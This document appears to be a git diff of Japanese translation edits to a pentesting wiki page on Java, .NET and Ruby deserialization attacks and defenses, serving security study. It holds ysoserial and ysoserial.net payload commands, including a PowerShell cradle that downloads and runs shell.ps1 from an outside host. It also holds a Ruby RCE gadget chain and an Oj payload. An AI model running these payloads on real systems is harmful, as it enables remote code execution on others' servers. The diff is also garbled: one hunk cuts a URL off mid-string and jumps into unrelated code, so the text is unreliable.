+サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができる**かもしれません(ウェブアプリ内で管理者権限を付与されるかもしれません)。\ +ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷できます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスすることが容易になります。 ### **エクスプロイト** #### **ysoserial** -Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\ +Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**ここからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(パイプなど)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\ このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\ -**RCE**ペイロードの前に**"URLDNS"**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、"URLDNS"ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。 +私は**RCEペイロードの前に「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。 ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -あなたは **ysoserial** と一緒に [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **を使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された **トークのスライド** にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな **Json** および **Yml** シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\ -プロジェクトをコンパイルするために、私は `pom.xml` にこの **依存関係** を **追加** する必要がありました: -```markup +[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\ +プロジェクトをコンパイルするために、`pom.xml`にこの**依存関係**を**追加**する必要がありました: +```html javax.activation activation @@ -482,7 +482,7 @@ mvn clean package -DskipTests ``` #### FastJSON -このJava JSONライブラリについての詳細はこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +このJava JSONライブラリについての詳細は、こちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) ### Labs @@ -495,7 +495,7 @@ Javaはさまざまな目的で多くのシリアル化を使用します: - **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。 - **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。 -- **HTTP経由のRMI**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。 +- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。 - **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。 - **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。 @@ -512,7 +512,7 @@ private transient double margin; // declared transient ``` #### Serializableを実装する必要があるクラスのシリアライズを避ける -特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final`な`readObject()`メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。 +特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final`な`readObject()`メソッドを定義することで、これらのオブジェクトがデシリアライズ不可能であることを確認してください。 ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -520,12 +520,12 @@ throw new java.io.IOException("Cannot be deserialized"); ``` #### **Javaにおけるデシリアライズセキュリティの強化** -**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています。 +**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています: - デシリアライズコードがあなたの管理下にある。 - デシリアライズのために期待されるクラスが知られている。 -**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています。 +**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -556,7 +556,7 @@ return super.resolveClass(desc); **シリアライゼーションフィルターの実装**: Java 9では、**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。 -シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに対して動的に構成できます。例えば: +シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth @@ -572,7 +572,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); - **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。 - **jdeserialize**は、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。 -- **Kryo**は、速度と効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。 +- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。 ### 参考文献 @@ -580,87 +580,10 @@ ObjectInputFilter.Config.setSerialFilter(filter); - デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) とスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) - Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) -- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) -- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) - -## JNDIインジェクション & log4Shell - -**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください。 - -{{#ref}} -jndi-java-naming-and-directory-interface-and-log4shell.md -{{#endref}} - -## JMS - Javaメッセージサービス - -> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。 - -### 製品 - -このミドルウェアを使用してメッセージを送信する製品がいくつかあります: - -![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) - -![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>) - -### 悪用 - -基本的に、**危険な方法でJMSを使用しているサービスがたくさんあります**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\ -これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。 - -サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。 - -ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用して悪意のあるシリアライズオブジェクトを送信するためにこれらのサービスに接続して攻撃する**ために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。 - -### 参考文献 - -- JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -- スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) - -## .Net - -.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。 - -### フィンガープリンティング - -#### ホワイトボックス - -ソースコード内で以下の出現を検査する必要があります: - -1. `TypeNameHandling` -2. `JavaScriptTypeResolver` - -ユーザー制御下の変数によって型を決定できるシリアライザーに焦点を当てるべきです。 - -#### ブラックボックス - -検索は、Base64エンコードされた文字列**AAEAAAD/////**またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これにより、デシリアライズされる型を制御できるようになります。これには、`TypeObject`や`$type`を含むがこれに限定されない**JSON**または**XML**構造が含まれる可能性があります。 - -### ysoserial.net - -この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成する**ことができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。 - -**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明されているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。 - -**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。 - -- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。 -- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。 -- **`--output`**は、悪用を**生**または**base64**エンコードで取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**するため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_ -- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。 - -#### 追加のysoserial.netパラメータ - -- `--minify`は**小さいペイロード**を提供します(可能な場合)。 -- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。 -- `--sf xml`は**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。 - -**ysoserialの例**を使用して悪用を作成します: +- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java- ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -678,8 +601,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` -**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\ -このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\ +**ysoserial.net** には、各エクスプロイトの動作をよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\ +このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかテストできます。\ このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -716,35 +639,35 @@ return obj; .Netにおけるデシリアライズに関連するリスクを軽減するために: -- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。 -- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** %%%TypeNameHandling = TypeNameHandling.None%%% -- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。** -- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。** -- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。 -- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。** -- **`BinaryFormatter`と`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。** -- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。** -- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。** +- **データストリームがそのオブジェクトタイプを定義することを許可しない。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。 +- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定する:** %%%TypeNameHandling = TypeNameHandling.None%%% +- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と共に使用しない。** +- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解する。** これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。 +- **リスクのあるプロパティを持つタイプに注意する。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。 +- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御する。** これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。 +- **`BinaryFormatter`と`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装する。** +- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにする。** +- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにする。** ### **References** -- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Rubyでは、シリアル化は**marshal**ライブラリ内の2つのメソッドによって行われます。最初のメソッドは**dump**と呼ばれ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。 +Rubyでは、シリアライズは**marshal**ライブラリ内の2つのメソッドによって実現されます。最初のメソッドは**dump**として知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアライズと呼ばれます。逆に、2番目のメソッド**load**は、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。 -シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)を使用して**データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます: +シリアライズされたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` -**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):** ```ruby #!/usr/bin/env ruby @@ -819,14 +742,14 @@ puts Base64.encode64(payload) ### Ruby .send() メソッド -[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**任意の他のメソッドを**任意のパラメータで呼び出すことを許可します。 +[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッドを**任意のパラメータで呼び出すことを可能にします。 例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます: ```ruby .send('eval', '') == RCE ``` -さらに、**`.send()`** のパラメータが攻撃者によって制御されている場合、前の記述で述べたように、**引数を必要としない**か、**デフォルト値**を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\ -これを行うために、オブジェクトのすべてのメソッドを列挙して、**その要件を満たす興味深いメソッドを見つける**ことができます。 +さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\ +これを実現するために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。 ```ruby .send('') @@ -850,11 +773,11 @@ candidate_methods.length() # Final number of methods=> 3595 ``` ### Rubyクラス汚染 -[ここでRubyクラスを汚染し、悪用する方法を確認してください](ruby-class-pollution.md)。 +[Rubyクラスを汚染し、ここでそれを悪用する方法を確認してください](ruby-class-pollution.md)。 ### Ruby _json汚染 -ボディに配列のようなハッシュ化できない値を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。 +ボディに配列のようなハッシュ化できない値を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。 [Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。 @@ -864,7 +787,7 @@ candidate_methods.length() # Final number of methods=> 3595 オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数): -
ライブラリ入力データクラス内のキックオフメソッド
Marshal (Ruby)バイナリ_load
OjJSONhash (クラスはハッシュ(マップ)のキーとして配置する必要があります)
OxXMLhash (クラスはハッシュ(マップ)のキーとして配置する必要があります)
Psych (Ruby)YAMLhash (クラスはハッシュ(マップ)のキーとして配置する必要があります)
init_with
JSON (Ruby)JSONjson_create ([json_createに関するノートを参照](#table-vulnerable-sinks))
+
ライブラリ入力データクラス内のキックオフメソッド
Marshal (Ruby)バイナリ_load
OjJSONhash(クラスはハッシュ(マップ)のキーとして配置する必要があります)
OxXMLhash(クラスはハッシュ(マップ)のキーとして配置する必要があります)
Psych (Ruby)YAMLhash(クラスはハッシュ(マップ)のキーとして配置する必要があります)
init_with
JSON (Ruby)JSONjson_create([json_createに関するノートを最後に参照](#table-vulnerable-sinks))
基本的な例: ```ruby @@ -888,7 +811,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。 +Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になりました。これにより、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器が得られました。 ```json { "^o": "URI::HTTP", diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 8fbd5ca8a..a698257e6 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29 ";alert(0);// ``` ## Open Redirect SVGファイルのアップロード -```markup +```html この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。 > [!CAUTION] -> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。ここでは**データベースインジェクションも見つかりません**、なぜなら一部のコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存するからです。 +> **XXEのようなContent-Type依存のインジェクションは見つかりません**。通常、XMLデータを送信するリクエストを見つけた場合は、自分で試すことになります。また、**データベースインジェクションもここには見つかりません**。いくつかのコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存します。 ## Polygloths list ```python @@ -91,7 +91,7 @@ $(ls) ## ダングリングマークアップ ### 基本テスト -```markup +```html

THIS IS AND INJECTED TITLE

